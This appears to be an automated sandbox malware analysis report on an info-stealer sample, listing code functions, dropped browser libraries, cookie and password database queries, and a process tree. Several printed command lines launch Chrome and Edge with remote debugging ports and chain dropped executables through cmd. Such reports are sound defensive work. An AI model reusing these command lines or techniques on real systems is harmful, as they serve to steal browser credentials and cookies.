Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE80700	0_2_6CE80700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF8090	0_2_6CDF8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE100B0	0_2_6CE100B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDC0B0	0_2_6CEDC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE4E070	0_2_6CE4E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CECC000	0_2_6CECC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC8010	0_2_6CEC8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE001E0	0_2_6CE001E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE68140	0_2_6CE68140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE76130	0_2_6CE76130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE4130	0_2_6CEE4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF862C0	0_2_6CF862C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED22A0	0_2_6CED22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CECE2B0	0_2_6CECE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE88260	0_2_6CE88260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE98250	0_2_6CE98250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED8220	0_2_6CED8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CECA210	0_2_6CECA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE543E0	0_2_6CE543E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE323A0	0_2_6CE323A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5E3B0	0_2_6CE5E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF42370	0_2_6CF42370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE02370	0_2_6CE02370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF1C360	0_2_6CF1C360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE96370	0_2_6CE96370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE08340	0_2_6CE08340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE72320	0_2_6CE72320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC1CE0	0_2_6CEC1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF3DCD0	0_2_6CF3DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9FC80	0_2_6CE9FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE03C40	0_2_6CE03C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF29C40	0_2_6CF29C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE11C30	0_2_6CE11C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED1DC0	0_2_6CED1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF3D80	0_2_6CDF3D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF49D90	0_2_6CF49D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE63D00	0_2_6CE63D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE23EC0	0_2_6CE23EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF5BE70	0_2_6CF5BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF85E60	0_2_6CF85E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF0DE10	0_2_6CF0DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEABFF0	0_2_6CEABFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF1DFC0	0_2_6CF1DFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF83FC0	0_2_6CF83FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE21F90	0_2_6CE21F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE35F20	0_2_6CE35F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF57F20	0_2_6CF57F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF5F30	0_2_6CDF5F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0D8E0	0_2_6CE0D8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE338E0	0_2_6CE338E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF5B8F0	0_2_6CF5B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDF8F0	0_2_6CEDF8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9F8C0	0_2_6CE9F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED3840	0_2_6CED3840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5D810	0_2_6CE5D810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE659F0	0_2_6CE659F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE979F0	0_2_6CE979F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE999C0	0_2_6CE999C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE399D0	0_2_6CE399D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE11980	0_2_6CE11980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED1990	0_2_6CED1990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7F960	0_2_6CE7F960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBD960	0_2_6CEBD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB5920	0_2_6CEB5920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF4F900	0_2_6CF4F900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE01AE0	0_2_6CE01AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDDAB0	0_2_6CEDDAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF89A50	0_2_6CF89A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEFDA30	0_2_6CEFDA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE3FA10	0_2_6CE3FA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA1A10	0_2_6CEA1A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE47BF0	0_2_6CE47BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE59BA0	0_2_6CE59BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC9BB0	0_2_6CEC9BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF1B80	0_2_6CDF1B80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE5B90	0_2_6CEE5B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDFB60	0_2_6CEDFB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE4BB20	0_2_6CE4BB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE014E0	0_2_6CE014E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF814A0	0_2_6CF814A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE9430	0_2_6CEE9430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8D410	0_2_6CE8D410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE855F0	0_2_6CE855F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE39590	0_2_6CE39590
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF4F510	0_2_6CF4F510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE67500	0_2_6CE67500
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE15510	0_2_6CE15510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE316A0	0_2_6CE316A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE696A0	0_2_6CE696A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE55640	0_2_6CE55640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE19650	0_2_6CE19650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE29600	0_2_6CE29600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE77610	0_2_6CE77610
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF437C0	0_2_6CF437C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8B7A0	0_2_6CE8B7A0
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Code function: 19_2_006A8860	19_2_006A8860
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Code function: 19_2_006A7049	19_2_006A7049
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Code function: 19_2_006A78BB	19_2_006A78BB
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Code function: 19_2_00778101	19_2_00778101
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Code function: 19_2_006A31A8	19_2_006A31A8
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Code function: 19_2_00664B30	19_2_00664B30
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Code function: 19_2_006A2D10	19_2_006A2D10
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Code function: 19_2_00664DE0	19_2_00664DE0
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Code function: 19_2_00697F36	19_2_00697F36
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Code function: 19_2_006A779B	19_2_006A779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00758860	20_2_00758860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00757049	20_2_00757049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_007578BB	20_2_007578BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_007531A8	20_2_007531A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00714B30	20_2_00714B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00752D10	20_2_00752D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00714DE0	20_2_00714DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00747F36	20_2_00747F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_0075779B	20_2_0075779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00758860	21_2_00758860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00757049	21_2_00757049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_007578BB	21_2_007578BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_007531A8	21_2_007531A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00714B30	21_2_00714B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00752D10	21_2_00752D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00714DE0	21_2_00714DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00747F36	21_2_00747F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0075779B	21_2_0075779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_0071E530	24_2_0071E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00736192	24_2_00736192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00758860	24_2_00758860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00714B30	24_2_00714B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00752D10	24_2_00752D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00714DE0	24_2_00714DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00730E13	24_2_00730E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00757049	24_2_00757049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_007531A8	24_2_007531A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00731602	24_2_00731602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_0075779B	24_2_0075779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_007578BB	24_2_007578BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00733DF1	24_2_00733DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00747F36	24_2_00747F36

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\Documents\FIDGHIIECG.exe	Code function: String function: 006780C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0072D942 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0072D663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0072DF80 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00748E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007280C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0072D64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00727A00 appears 38 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF8D930 appears 67 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE5C5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE29B10 appears 109 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF809D0 appears 343 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF39F30 appears 53 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE23620 appears 96 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF8DAE0 appears 85 times

Source: file.exe, 00000000.00000002.1867887058.000000000BA04000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.1878744848.0000000070142000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: fwbluwmq ZLIB complexity 0.9948703120269452
Source: random[1].exe.24.dr	Static PE information: Section: fwbluwmq ZLIB complexity 0.9948703120269452
Source: 7215223519.exe.24.dr	Static PE information: Section: fwbluwmq ZLIB complexity 0.9948703120269452
Source: random[1].exe0.24.dr	Static PE information: Section: ZLIB complexity 0.9977897019572953
Source: random[1].exe0.24.dr	Static PE information: Section: phqbfzqh ZLIB complexity 0.9944492900703382
Source: 16b11e2c5c.exe.24.dr	Static PE information: Section: ZLIB complexity 0.9977897019572953
Source: 16b11e2c5c.exe.24.dr	Static PE information: Section: phqbfzqh ZLIB complexity 0.9944492900703382

Source: random[1].exe.24.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 7215223519.exe.24.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@43/57@7/9

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE60300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6CE60300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\UVQB3QN5.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7624:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Documents\FIDGHIIECG.exe

File created: C:\Users\user~1\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1864861896.00000000059CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1878166868.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1864861896.00000000059CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1878166868.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1864861896.00000000059CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1878166868.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1864861896.00000000059CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1878166868.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1864861896.00000000059CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1878166868.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1864861896.00000000059CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1878166868.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.1864861896.00000000059CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1878166868.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000002.1861693322.000000000129E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookiess;
Source: file.exe, 00000000.00000003.1439423938.00000000058B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1574432368.00000000058A9000.00000004.00000020.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000003.2448473006.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000003.2419097357.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000003.2448604639.0000000005C50000.00000004.00000800.00020000.00000000.sdmp, CBKFBAECBAEGDGDHIEHI.0.dr, IJDBGDGCGDAKFIDGIDBF.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1864861896.00000000059CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1878166868.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1864861896.00000000059CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1878166868.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2492 --field-trial-handle=2196,i,4868894601841744955,10257987303288311924,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2248,i,9099896745264163238,9476134514677469961,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=2004,i,15111161645592940276,13810185552624013604,262144 /prefetch:3
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\FIDGHIIECG.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\FIDGHIIECG.exe "C:\Users\user\Documents\FIDGHIIECG.exe"
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe "C:\Users\user~1\AppData\Local\Temp\1013060001\16b11e2c5c.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe "C:\Users\user~1\AppData\Local\Temp\1013061001\7215223519.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe "C:\Users\user~1\AppData\Local\Temp\1013060001\16b11e2c5c.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\FIDGHIIECG.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
